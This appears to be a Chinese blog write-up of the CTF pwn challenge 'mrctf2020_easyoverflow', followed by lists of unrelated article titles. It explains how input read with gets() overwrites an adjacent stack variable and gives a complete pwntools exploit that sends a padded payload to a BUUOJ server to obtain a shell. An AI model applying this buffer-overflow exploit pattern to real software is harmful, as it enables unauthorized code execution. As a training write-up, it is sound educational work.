mrctf2020_easyoverflow

附件

步骤:

  1. 例行检查,64位程序,保护全开
  2. 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开

    只要满足18行的条件,就能够获取shell
  3. check()

    很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g
  4. 看main函数可以知道,v5一开始是ju3t_@_f@k3_f1@g,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处

    v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g从而获取shell
payload=‘a’*0x30+n0t_r3@11y_f1@g

完整exp

from pwn import *

r=remote("node3.buuoj.cn",25779)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

最新文章

  1. 如何在latex 中插入EPS格式图片
  2. innobackupex使用实践
  3. FancyTree 状态保持
  4. 3.django笔记之form表单
  5. URAL 1002 Phone Numbers(KMP+最短路orDP)
  6. Android选项卡TabHost方式实现
  7. p类型最大可定义范围
  8. hibernate学习手记(2)
  9. Dockerfile 中的 CMD 与 ENTRYPOINT
  10. 比较两个Date类型的数据相差几年
  11. iOS 指纹解锁 验证TouchID
  12. react+typescript报错集锦<持续更新>
  13. python 用Threading创建多线程
  14. 【MongoDB:】稍微复杂的操作
  15. 第7讲 SPI和RAM IP核
  16. prometheus安装、使用
  17. BZOJ 3572: [Hnoi2014]世界树 虚树 树形dp
  18. C++Primer笔记-----day04
  19. CF527A:Playing with Paper——题解
  20. java学习网站推荐

热门文章

  1. [bzoj5511]大中锋的游乐场
  2. [loj2135]幻想乡战略游戏
  3. [atARC099F]Eating Symbols Hard
  4. 智能 Request 推荐,K8s 资源利用率提升 252%
  5. deepin系统安装与linux磁盘分区
  6. nginx安装与配置4-负载均衡
  7. idea插件 Background Image Plus 随机更换背景图片
  8. tomcat的log日志乱码解决方案
  9. javascript-初级-day04js数据类型
  10. Jmeter BlazeMeter实现web录制